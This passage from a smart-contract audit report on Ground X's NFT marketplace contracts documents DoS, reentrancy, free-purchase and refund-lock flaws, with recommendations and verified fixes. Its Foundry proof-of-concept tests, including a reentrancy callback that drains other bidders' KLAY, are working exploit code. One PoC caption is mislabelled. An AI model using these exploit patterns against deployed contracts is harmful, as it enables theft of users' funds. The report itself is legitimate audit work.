        set_klay_price(address(klayPrice), 30000, block.timestamp - 86400, 1);
        set_commission_simple(address(commission), block.timestamp - 86400, 20000,
commissionReceiver, 1e16);

        mint_for_test(address(kip17s[0]), user1, 1, 10);

        uint256[] memory tokenIds = new uint256[](3);
        tokenIds[0] = 1;
        tokenIds[1] = 2;
        tokenIds[2] = 3;

        vm.startPrank(user1);
        kip17s[0].setApprovalForAll(address(sales[0]), true);
        sales[0].putOnSale(user1, tokenIds, 3e18);
        vm.stopPrank();

        vm.deal(user2, 1e18);
        vm.prank(user2);
        sales[0].suggestPrice{value: 1e18}(user2, tokenIds);

        uint256[] memory tokenIdsDoS = new uint256[](4);
        tokenIdsDoS[0] = 4;
        tokenIdsDoS[1] = 1;
        tokenIdsDoS[2] = 2;
        tokenIdsDoS[3] = 3;

        vm.startPrank(user3);
        address saleLocation = sales[0].findSaleAddressByOwner(user1);
        Sale(saleLocation).deployIfNotExists(address(0), tokenIdsDoS);
        vm.stopPrank();

        vm.prank(user2);
        vm.expectRevert("SalesForEOA: tokenIds list does not match with previous Sale");
        sales[0].cancelSuggest(user2, tokenIds);

        vm.prank(user2);
        vm.expectRevert("Product: suggester address not exists in sale");
        sales[0].cancelSuggest(user2, tokenIdsDoS);
    }
```

[The second PoC of DoS attack using public deployIfNotExist function]

Recommendation

The visibility of the `deployIfNotExists` function must be reconsidered. Since the function is callable by any user, the possibility of exploitation becomes greater. We also advise implementing stronger input validation checks for the token ID array, such as

- forcing the token ID array to be strictly increasing always
- forcing each product to have a disjoint set of token IDs always

Fix Comment

[Fixed 1] [Fixed 2] The `KIP17Markeplace` contract or the `Sale` contract itself may invoke the `deployIfNotExists` function of the `Sale` contract. Furthermore, the `deployIfNotExists` function of the `SalesForEOA` contract evaluates whether the token ID's `Product` address is set and whether the token IDs provided are in ascending order. We confirmed that the revised implementation prevents a malicious user from rearranging the `Product` address of token IDs.

```
function deployIfNotExists(address owner, uint[] memory) external virtual
override returns (address) {
    require(address(kip17) == _msgSender(), "Sale: deployIfNotExists can be
called by registered kip17");

    return _deployIfNotExists(owner);
}

function _deployIfNotExistsByTokenId(uint tokenId) private returns (address) {
    address owner = kip17.ownerOf(tokenId);
    return _deployIfNotExists(owner);
}

function _deployIfNotExists(address owner) private returns (address) {
    require(owner != address(0x0), "Sale: owner address cannot be 0x0");
    require(address(kip17) != address(0x0), "Sale: unable to deploy because
kip17 is not set");

    if (address(sales[owner]) == address(0)) {
        sales[owner] = ISale(deploySalesForEOA(owner));
    }
    return address(sales[owner]);
}

function deploySalesForEOA(address owner) private returns (address) {
```

```
    require (salesForEOALogicContract != address(0x0), "Sale:
salesForEOALogicContract address is not set");

    // deploy proxy
    address proxyAddress = address(new ERC1967Proxy(salesForEOALogicContract,
""));

    // Run initialize() instead of constructor()
    ISale salesForEOA = ISale(proxyAddress);
    salesForEOA.__SalesForEOA_init(admin, owner, address(kip17), address(this),
productLogicContract);

    return proxyAddress;
}
```

[https://github.com/ground-x/kas-nft-marketplace-api/blob/7fe2b381529c9cbabf42b2713f3b7dc8c9395cc2/fixtures/contractsource/marketplace/Sale.sol]

```
function deployIfNotExists(address, uint[] memory tokenIds) public virtual
onlyCaller override returns (address) {
    // deploy contract if not exists
    if (address(products[tokenIds[0]]) == address(0)) {
        IProduct product = IProduct(deployProduct(tokenIds));

        for (uint i = 0; i < tokenIds.length; i++) {
            require(address(products[tokenIds[i]]) == address(0), "SalesForEOA:
tokenId is already on product");
            require(i == 0 || tokenIds[i] > tokenIds[i-1], "SalesForEOA:
tokenIds should be sorted");

            // set the same contract address to all tokenIds
            products[tokenIds[i]] = product;
        }

        return address(product);
    }

    return address(products[tokenIds[0]]);
}
```

[https://github.com/ground-x/kas-nft-marketplace-api/blob/7fe2b381529c9cbabf42b2713f3b7dc8c9395cc2/fixtures/contractsource/marketplace/SalesForEOA.sol]

8. Reentrancy on the buySale function leads to asset theft.

ID: GRNDX-08	Severity: Critical
Type: Reentrancy	Difficulty: Low
File: SalesForEOA.sol	

Issue

The `SalesForEOA` contract's `buySale` and `deleteAllData` functions include refund logic that transfers the suggester's bid value. If there are more native tokens inside the `SalesForEOA` contract than the malicious user's bid value, the malicious user can drain the value of the other suggesters by constructing a malicious contract with a fallback function that calls the `buySale` or `deleteAllData` functions again. We showcase the attack scenario below.

1. Benign suggesters bid for token ID 1, and the total bid value of all suggesters is 3000.
2. Create a malicious contract with a fallback function that re-transfers the KIP17 token to the owner and performs the `buySale` or `deleteAllData` functions once more.
3. A malicious user, with several addresses, places a total bid of 3000 on the token ID 2.
4. Malicious contract bids on token ID 2 big, then it calls `buySale`.
5. The fallback function calls again the `buySale` function.

As a result, the malicious user receives a refund twice, which means the malicious user receives the other suggester's bid value (3000). We note that the malicious user has to pay for the token to the seller multiple times, as `buySale` was called repeatedly. If the seller's price for the token ID is less than the additional refund or the malicious user is the seller, the malicious user gains a profit.

Proof of Concept

The PoC demonstrates how malicious user (user2) and malicious contract drain all the bid value in the `SalesForEOA` contract. It implements an attack scenario similar to the one shown above.

```
    function test_reentrancy() public {
        add_to_marketplace(address(marketplace), address(kip17s[0]), address(sales[0]),
true);
        add_commission(address(marketplace), address(commission), true);
        set_klay_price(address(klayPrice), 30000, block.timestamp - 86400, 1);
        set_commission_simple(address(commission), block.timestamp - 86400, 20000,
commissionReceiver, 0x0);

        mint_for_test(address(kip17s[0]), user1, 1, 10);

        uint256[] memory tokenIds1 = new uint256[](1);
        tokenIds1[0] = 1;

        uint256[] memory tokenIds2 = new uint256[](1);
        tokenIds2[0] = 2;

        uint256[] memory tokenIds3 = new uint256[](1);
        tokenIds3[0] = 3;

        vm.startPrank(user1);
        kip17s[0].setApprovalForAll(address(sales[0]), true);
        sales[0].putOnSale(user1, tokenIds1, 1200e18);
        sales[0].putOnSale(user1, tokenIds2, 1200e18);
        sales[0].putOnSale(user1, tokenIds3, 1200e18);
        vm.stopPrank();

        // address(this) and user2 is attacker's account
        vm.deal(address(this), 2400e18);
        vm.deal(user2, 3000e18);

        // user3,4,5 is victim's account
        vm.deal(user3, 2000e18);
        vm.deal(user4, 2000e18);
        vm.deal(user5, 2000e18);

        vm.warp(block.timestamp + 86400);
        vm.prank(user2);
        sales[0].suggestPrice{value: 3000e18}(user2, tokenIds1);
        sales[0].suggestPrice{value: 1000e18}(address(this), tokenIds1);

        vm.warp(block.timestamp + 86400);
        vm.startPrank(user3);
        sales[0].suggestPrice{value: 1000e18}(user3, tokenIds2);
        sales[0].suggestPrice{value: 1000e18}(user3, tokenIds3);
        vm.stopPrank();

        vm.warp(block.timestamp + 86400);
        vm.startPrank(user4);
        sales[0].suggestPrice{value: 1000e18}(user4, tokenIds2);
```

```
        sales[0].suggestPrice{value: 1000e18}(user4, tokenIds3);
        vm.stopPrank();

        vm.warp(block.timestamp + 86400);
        vm.startPrank(user5);
        sales[0].suggestPrice{value: 1000e18}(user5, tokenIds2);
        sales[0].suggestPrice{value: 1000e18}(user5, tokenIds3);
        vm.stopPrank();

        sales[0].buySale{value: 1200e18}(address(this), tokenIds1);

        console.log("after address(this) balance : %s", address(this).balance);
        console.log("after user2(attacker) balance : %s", user2.balance);
        console.log("after SalesForEOA contract balance: %s",
address(sales[0]).balance);
    }

    receive() external payable {
        receiveCount++;
        if (receiveCount == 1) {
            kip17s[0].transferFrom(address(this), user1, 1);

            uint256[] memory tokenIds1 = new uint256[](1);
            tokenIds1[0] = 1;
            sales[0].buySale{value: 1200e18}(address(this), tokenIds1);
        }
    }
```

[The PoC of reentrancy attack]

Recommendation

Using reentrancy checking modifiers can prevent a drainage of balance of contract. Furthermore, following the Check-Effect-Interaction pattern is recommended when the function is interacting with external, untrusted contracts. As the `Product` addresses of token IDs are updated (`deleteAfterTrade`) after the interaction (`transferKLAY`), this function is currently not following the Check-Effect-Interaction pattern.

Fix Comment

[Fixed 1] The `KIP17Marketplace` and `SalesForEOA` contracts have the reentrancy guard modifier applied. We verified that the modification is correctly applied to all relevant functions. Furthermore, the [GRNDX-01contract]'s code size check logic provides further protection against reentrancy attacks.

9. cancelPutOnSale function may cause unintended behavior.

ID: GRNDX-09
Severity: Tips
Type: Informational
Difficulty:N/A
File: SalesForEOA.sol

Issue

The cancelPutOnSale function needs to be reconsidered as the function may exclude expected executions. For example, there are no `Product` addresses of token IDs update and no refund implementation which results in unexpected behavior.

```
    function cancelPutOnSale(address originalCaller, uint256[] calldata tokenIds)
        external
        virtual
        override
        onlyProxy
        onlyCaller
        ifTokensOnSameSale(tokenIds)
    {
        require(originalCaller == owner, "SalesForEOA: original caller is not the owner
of SalesForEOA");
        IProduct product = products[tokenIds[0]];
        require(address(product) != address(0), "SalesForEOA: no data");

        product.deleteSale();
    }
```

[https://github.com/ground-x/kas-nft-marketplace-api/blob/0de4ea541d7393f0bcc0c156e3471210ef4c5cb7/fixtures/contractsource/marketplace/SalesForEOA.sol#L232]

```
    function deleteSale() external virtual onlyProxy onlyCaller {
        salePrice = 0;
        saleTimestamp = 0;
    }
```

[https://github.com/ground-x/kas-nft-marketplace-api/blob/0de4ea541d7393f0bcc0c156e3471210ef4c5cb7/fixtures/contractsource/marketplace/Product.sol#L118]

The current implementation of the `cancelPutOnSale` method reset the price and timestamp of the first token ID's `Product` contract to 0. However, the `Product` addresses given to token IDs stay unchanged. As the `Product` addresses may be inconsistent with the supplied batch of token

IDs, this may result in unexpected behavior when the canceled token IDs are passed to the `ifTokensOnSameSale` modifier.

In addition, there is no refund implementation on the `cancelPutOnSale` function. The suggester who bid for the token IDs should call the `cancelSuggest` function to get a refund. However, as the `Product` address of the token IDs may change because the token IDs can be put on sale by the seller, the suggester's bid value may not be refundable.

Proof of Concept

The PoC demonstrates the failure of the `putOnSale` function call after the `cancelPutOnSale` function call because the `ifTokensOnSameSale` modifier does not consider the canceled token ID's `Product` address.

```
function test_putOnSale_multiple() public {
        add_to_marketplace(address(marketplace), address(kip17s[0]), address(sales[0]),
true);
        add_commission(address(marketplace), address(commission), true);
        set_klay_price(address(klayPrice), 30000, block.timestamp - 86400, 1);
        set_commission_simple(address(commission), block.timestamp - 86400, 20000,
commissionReceiver, 1e16);

        mint_for_test(address(kip17s[0]), user1, 1, 10);

        uint256[] memory tokenIds1 = new uint256[](3);
        tokenIds1[0] = 1;
        tokenIds1[1] = 2;
        tokenIds1[2] = 3;

        uint256[] memory tokenIds2 = new uint256[](1);
        tokenIds2[0] = 4;

        uint256[] memory tokenIds3 = new uint256[](4);
        tokenIds3[0] = 1;
        tokenIds3[1] = 2;
        tokenIds3[2] = 3;
        tokenIds3[3] = 4;

        vm.startPrank(user1);
        kip17s[0].setApprovalForAll(address(sales[0]), true);
        sales[0].putOnSale(user1, tokenIds1, 3e18);
        sales[0].putOnSale(user1, tokenIds2, 1e18);

        vm.warp(block.timestamp + 86400);
        sales[0].cancelPutOnSale(user1, tokenIds1);

        vm.warp(block.timestamp + 86400);
```

```
        sales[0].cancelPutOnSale(user1, tokenIds2);

        sales[0].putOnSale(user1, tokenIds3, 4e18);
        vm.stopPrank();
    }
```

[The PoC of failure of putOnSale function after the cancelPutOnSale function]

Recommendation

The implementation of the `cancelPutOnSale` function needs to be reconsidered to account for the `ifTokensOnSameSale` modifier and suggester's bid value.

Comment by the Ground X Team

- Because canceling the sales does not imply rejecting the suggestions, the team decided to stick with the current approach.
- Sales registration and bidding were previously separate features. For the management issue, they are managed together in a single contract.

10. No KLAY transfer when the SaleForEOA contract uses the KIP17 contract rather than the KIP17Marketplace contract.

ID: GRNDX-10	Severity: Critical
Type: Logic Error	Difficulty: Low
File: SalesForEOA.sol	

Issue

If the `SaleForEOA` contract uses the KIP17 contract which does not implement the `IKIP17Marketplace` interface, the KIP17 token purchase only transfers the KIP17 token to the buyer, without transferring the KLAY to the seller.

The `kip17` address variable in the `SalesForEOA` contract maintains the address of a KIP17 that is for sale. The owner of the `SalesForEOA` contract sets the `kip17` variable, which can be set to a standard KIP17 contract or a `KIP17Marketplace` contract.

```
function transferTokens(uint256[] calldata tokenIds, address from, address to, uint256
timestamp, uint256 price)
        private
    {
        if (kip17.supportsInterface(type(IKIP17Marketplace).interfaceId)) {
            IKIP17Marketplace kip17m = IKIP17Marketplace(address(kip17));
            kip17m.transferFromAndPay{value: price}(from, to, tokenIds, timestamp);
            return;
        }

        for (uint256 i = 0; i < tokenIds.length; i++) {
            kip17.transferFrom(owner, to, tokenIds[i]);
        }
    }
```

[https://github.com/ground-x/kas-nft-marketplace-api/blob/0de4ea541d7393f0bcc0c156e3471210ef4c5cb7/fixtures/contractsource/marketplace/SalesForEOA.sol#L198]

The kip17 token is transferred to the buyer or suggester when a buyer purchases or a seller accepts the price of a suggester. If the `kip17` variable is a `KIP17Marketplace` contract, the KLAY is transferred to the buyer as expected; however, the KLAY transfer does not occur if the `kip17` variable is a standard KIP17 contract.

Furthermore, the owner(seller) of the `SalesForEOA` contract can change the `kip17` variable, which means the variable needs to be more strictly validated to reduce the risk of zero-transfer or further fraudulent variable change by the owner.

Proof of Concept

The PoC demonstrates in case that the `kip17` variable is set to standard KIP17 contract, the KLAY is not transferred to the seller.

```
    function test_sale_non_IKIP17Marketplace_IKIP17() public {
        justKip17 = MockKIP17(address(new ERC1967Proxy(address(new MockKIP17()), "")));
        justKip17.__MOCK_KIP17_init("TETS", "TEST");
        add_to_marketplace(address(marketplace), address(justKip17), address(sales[0]),
true);
        set_klay_price(address(klayPrice), 30000, block.timestamp - 86400, 1);
        set_commission_simple(address(commission), block.timestamp - 86400, 20000,
commissionReceiver, 0x0);

        mint_for_test(address(justKip17), user1, 1, 3);

        uint256[] memory tokenIds = new uint256[](3);
        tokenIds[0] = 1;
        tokenIds[1] = 2;
        tokenIds[2] = 3;

        sales[0].deployIfNotExists(user1, tokenIds);

        address user1Sales = sales[0].findSaleAddressByOwner(user1);
        vm.startPrank(user1);
        justKip17.setApprovalForAll(address(user1Sales), true);
        sales[0].putOnSale(user1, tokenIds, 3e18);
        vm.stopPrank();

        vm.deal(user2, 3e18);
        vm.prank(user2);
        sales[0].buySale{value: 3e18}(user2, tokenIds);

        console.log("user1 balance: %s", user1.balance);
        console.log("user1 token balance: %s", justKip17.balanceOf(user1));
        console.log("user2 balance: %s", user2.balance);
        console.log("user2 token balance: %s", justKip17.balanceOf(user2));
        console.log("SalesForEOA balance: %s", user1Sales.balance);
    }
```

[The PoC of zero-transfer of Klay]

Recommendation

A KLAY transfer logic needs to be implemented on the transferTokens function. If this is intended behavior, make sure such business logic is well-documented as it is not intuitive.

As the `kip17` variable is a crucial object in the exchange process, It is recommended to enforce the variable be a `KIP17Marketplace` contract. In addition, the capability of the owner to set the `kip17` variable needs to be reconsidered.

Fix Comment

[Fixed] The kip17 variable is now only able to be set to the `IKIP17Marketplace` contract. We confirmed that when the NFT is purchased, the KLAY transfer always occurs.

```
---  IKIP17 private kip17;
+++  IKIP17Marketplace private kip17;

...

---  transferTokens(tokenIds, owner, originalCaller, saleTimestamp, msg.value);
+++  kip17.transferFromAndPay{value: msg.value}(owner, originalCaller, tokenIds,
saleTimestamp);
```

[https://github.com/ground-x/kas-nft-marketplace-api/commit/104a22bc0322a7b22abbcdc60537637a77bd9eb2]

11. Free purchase of KIP17 token is possible when the SALE_MAX_TIME is set to 0 and cancelPutOnSale is called.

ID: GRNDX-11
Type: Logic Error
File: SalesForEOA.sol

Severity: Critical
Difficulty: Medium

Issue

When the `SALE_MAX_TIME` variable of the `SalesForEOA` contract is set to 0 and the seller canceled the sale, an arbitrary user can purchase the KIP17 token with zero amount of KLAY.

```
    function buySale(address originalCaller, uint256[] calldata tokenIds)
        external
        payable
        virtual
        override
        onlyProxy
        onlyCaller
        ifTokensOnSameSale(tokenIds)
        deleteAfterTrade(tokenIds)
    {
        IProduct product = products[tokenIds[0]];
        require(address(product) != address(0), "SalesForEOA: no data");
        uint256 salePrice;
        uint256 saleTimestamp;
        (salePrice, saleTimestamp) = product.getSale();
        require(msg.value == salePrice, "SalesForEOA: sent value doesn't match the
price");
        require(
            SALE_MAX_TIME == 0 || block.timestamp - saleTimestamp <= SALE_MAX_TIME,
            "SalesForEOA: the sale reached the time limit"
        );

        // transfer KLAY with NFT
        transferTokens(tokenIds, owner, originalCaller, saleTimestamp, msg.value);

        // give back suggester bid
        uint256 suggestNum;
        address[3] memory suggesters;
        uint256[3] memory suggestPrices;
        (suggestNum, suggesters, suggestPrices,) = product.getSuggests();
        transferKLAY(suggestNum, suggesters, suggestPrices);
    }
```

[https://github.com/ground-x/kas-nft-marketplace-api/blob/0de4ea541d7393f0bcc0c156e3471210ef4c5cb7/fixtures/contractsource/marketplace/SalesForEOA.sol#L246]

As the seller cancels the sale, the `salePrice` and `saleTimestamp` of the `Product` contract are set to zero. In case the `SALE_MAX_TIME` is set to 0, arbitrary users can purchase the KIP17 tokens for free because the price is set to 0 and the time-related checks pass.

Proof of Concept

The PoC shows that an arbitrary user can purchase a canceled product with zero amount of KLAY when the `SALE_MAX_TIME` variable is set to zero.

```
    function test_canceled_sale_purchase_with_zero_SALE_MAX_TIME() public {
        add_to_marketplace(address(marketplace), address(kip17s[0]), address(sales[0]),
true);
        add_commission(address(marketplace), address(commission), true);
        set_klay_price(address(klayPrice), 30000, block.timestamp - 86400, 1);
        set_commission_simple(address(commission), block.timestamp - 86400, 20000,
commissionReceiver, 1e16);

        mint_for_test(address(kip17s[0]), user1, 1, 3);

        uint256[] memory tokenIds = new uint256[](3);
        tokenIds[0] = 1;
        tokenIds[1] = 2;
        tokenIds[2] = 3;

        vm.startPrank(user1);
        kip17s[0].setApprovalForAll(address(sales[0]), true);
        sales[0].putOnSale(user1, tokenIds, 3e18);

        vm.warp(block.timestamp + 86400);
        sales[0].cancelPutOnSale(user1, tokenIds);
        vm.stopPrank();

        uint256 SALE_MAX_TIME = 0;
        uint256 SUGGEST_MAX_TIME = 60 * 60 * 24 * 80; // 80 days
        vm.prank(deployer);
        sales[0].setMaxTime(user1, SALE_MAX_TIME, SUGGEST_MAX_TIME);

        vm.startPrank(user2);
        sales[0].buySale(user2, tokenIds);

        console.log("Seller KIP17 balance : %s", kip17s[0].balanceOf(user1));
        console.log("Buyer KIP17 balance : %s", kip17s[0].balanceOf(user2));
    }
```

[The PoC of free purchase when the SALE_MAX_TIME set to 0]

Recommendation

Even if the `SALE_MAX_TIME` is set to zero, a buyer should be unable to purchase the canceled product. A clearer implementation of `cancelPutOnSale()` would definitely help, as we documented before in the issue [GRNDX-09].

Fix Comment

[Fixed] The `SALE_MAX_TIME` variable is removed from the fixed version of the `SalesForEOA` contract. Each `Product` contract specifies the product's time limit. As a result, no free purchases are available following the `cancelPutOnSale()` function call.

```
function buySale(
    address originalCaller,
    uint[] calldata tokenIds
) external virtual override payable onlyProxy onlyCaller
ifTokensOnSameSale(tokenIds)
nonReentrant {
    IProduct product = findProductByTokenID(tokenIds[0]);
    require(address(product) != address(0), "SalesForEOA: no data");

    uint saleTimestamp;
    { // use curly bracket to prevent `Compiler err: Stack too deep`
        uint salePrice; uint saleDuration;
        (salePrice, saleTimestamp, saleDuration) = product.getSale();
        require(saleTimestamp != 0, "SalesForEOA: sale price is not set. owner should
call putOnSale");
        require(msg.value == salePrice, "SalesForEOA: sent value doesn't match the
price");
        require(block.timestamp <= saleTimestamp + saleDuration, "SalesForEOA: the sale
reached the time limit");
    }

    // get suggests
    uint suggestNum;
    address[3] memory suggesters;
    uint[3] memory suggestPrices;
    (,suggestNum, suggesters, suggestPrices, ) = product.getSuggests();

    _deleteProductInfoAfterTrade(tokenIds);

    // give back suggester bid
    _transferKLAY(suggestNum, suggesters, suggestPrices);

    // exchange KLAY with NFT
    kip17.transferFromAndPay{value: msg.value}(owner, originalCaller, tokenIds,
saleTimestamp);
}
```

[https://github.com/ground-x/kas-nft-marketplace-api/commit/c673cae8cd0b8be4f0a5923138ed1826c3f1598e]

12. A suggester cannot cancel the suggestion if the token owner has been changed.

ID: GRNDX-12	Severity: High
Type: Denial of Service	Difficulty: Low
File: Sale.sol	

Issue

A suggester may not be able to cancel the suggestion and receive a refund if the token owner corresponding to the product has changed.

```
function findSaleContractByTokenId(uint tokenId) private view returns (ISale) {
    address owner = kip17.ownerOf(tokenId);
    require(address(sales[owner]) != address(0), "Sale: no data");
    return sales[owner];
}
```

[https://github.com/ground-x/kas-nft-marketplace-api/blob/0de4ea541d7393f0bcc0c156e3471210ef4c5cb7/fixtures/contractsource/marketplace/Sale.sol#L200]

As the forwarding from `Sale.sol` to `SaleForEOA.sol` depends on the token owner, (owner of `tokenIDs[0]` to be exact) the logic may break when the token owner changes due to transfers. This may lead to asset locks - while this can be resolved via admin-only functions `deleteSuggestAndGiveBackMoney` and the related ones, we stress that depending on the admin to be always on standby to resolve such situations is not the best way forward.

Proof of Concept

The PoC shows that the suggester cannot cancel the suggestion because the owner of the token has been changed. Similar situations happen for other functions as well.

```
    function test_change_owner_after_putOnSale() public {
        add_to_marketplace(address(marketplace), address(kip17s[0]), address(sales[0]),
true);
        add_commission(address(marketplace), address(commission), true);
        set_klay_price(address(klayPrice), 30000, block.timestamp - 86400, 1);
        set_commission_simple(address(commission), block.timestamp - 86400, 20000,
commissionReceiver, 1e16);

        mint_for_test(address(kip17s[0]), user1, 1, 1);

        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = 1;

        vm.startPrank(user1);
        kip17s[0].setApprovalForAll(address(sales[0]), true);
        sales[0].putOnSale(user1, tokenIds, 1e18);
        vm.stopPrank();

        vm.deal(user2, 1e18);
        vm.prank(user2);
        sales[0].suggestPrice(user2, tokenIds);

        vm.prank(user1);
        kip17s[0].transferFrom(user1, user3, 1);

        vm.prank(user2);
        vm.expectRevert("Sale: no data");
        sales[0].cancelSuggest(user2, tokenIds);
    }
```

[The PoC of free purchase when the SALE_MAX_TIME set to 0]

Recommendation

The `Product` address should be always accessible regardless of token transfers

Another approach is to force `KIP17Marketplace` to be used in the market, and force any token transfers to start with refunding all bids placed on the relevant `Product` address.

Fix Comment

[Fixed] Token transfers and burns are handled by the `KIP17Marketplace` contract's `_beforeTokenTransfer()` method. This function cancels any sales and refunds to suggesters associated with the token ID. As a result, even if the owner of the NFT token changes, the bid value does not freeze.

```
function _beforeTokenTransfer(
    address from,
    address to,
    uint256 tokenId
) internal override virtual {
    // all transfers, including mint and burn, is not allowed when paused
    require(!paused(), "KIP17Marketplace: token transfer while paused");

    // Before token transfer, call Sale.deleteAllData()
    require(address(sale) != address(0x0), "KIP17Marketplace: sale address should be
set");
    if (sale.findSaleContractByOwner(from) != address(0x0)) {
        uint[] memory tokenIds;
        uint saleTimestamp;
        uint suggestNum;

        (tokenIds,,saleTimestamp) = sale.getSale(tokenId);
        (, suggestNum,,,) = sale.getSuggests(tokenId);

        if (saleTimestamp != 0 || suggestNum != 0) {
            sale.deleteAllData(from, tokenIds);
        }
    }
}
```

[https://github.com/ground-x/kas-nft-marketplace-api/commit/6765dd1642371c52af3c754b44eb33d28706e6e5]

DISCLAIMER

This report does not guarantee investment advice, the suitability of the business models, and codes that are secure without bugs. This report shall only be used to discuss known technical issues. Other than the issues described in this report, undiscovered issues may exist such as defects on the main network. In order to write secure smart contracts, correction of discovered problems and sufficient testing thereof are required.

Appendix. A

Severity Level

CRITICAL	Must be addressed as a vulnerability that has the potential to seize or freeze substantial sums of money.
HIGH	Has to be fixed since it has the potential to deny users compensation or momentarily freeze assets.
MEDIUM	Vulnerabilities that could halt services, such as DoS and Out-of-Gas, need to be addressed.
LOW	Issues that do not comply with standards or return incorrect values
TIPS	Tips that makes the code more usable or efficient when modified

Difficulty Level

	Low	**Medium**	**High**
Privilege	anyone	Miner/Block Proposer	Admin/Owner
Capital needed	Small or none	Gas fee or volatile as price change	More than exploited amount
Probability	100%	Depend on environment	Hard as mining difficulty

Vulnerability Category

Arithmetic	▪ Integer under/overflow vulnerability ▪ floating point and rounding accuracy
Access & Privilege Control	▪ Manager functions for emergency handle ▪ Crucial function and data access ▪ Count of calling important task, contract state change, intentional task delay
Denial of Service	▪ Unexpected revert handling ▪ Gas limit excess due to unpredictable implementation
Miner Manipulation	▪ Dependency on the block number or timestamp. ▪ Frontrunning
Reentrancy	▪Proper use of Check-Effect-Interact pattern. ▪Prevention of state change after external call ▪ Error handling and logging.
Low-level Call	▪ Code injection using delegatecall ▪ Inappropriate use of assembly code
Off-standard	▪ Deviate from standards that can be an obstacle of interoperability.
Input Validation	▪ Lack of validation on inputs.
Logic Error/Bug	▪ Unintended execution leads to error.
Documentation	▪Coherency between the documented spec and implementation
Visibility	▪ Variable and function visibility setting
Incorrect Interface	▪ Contract interface is properly implemented on code.

End of Document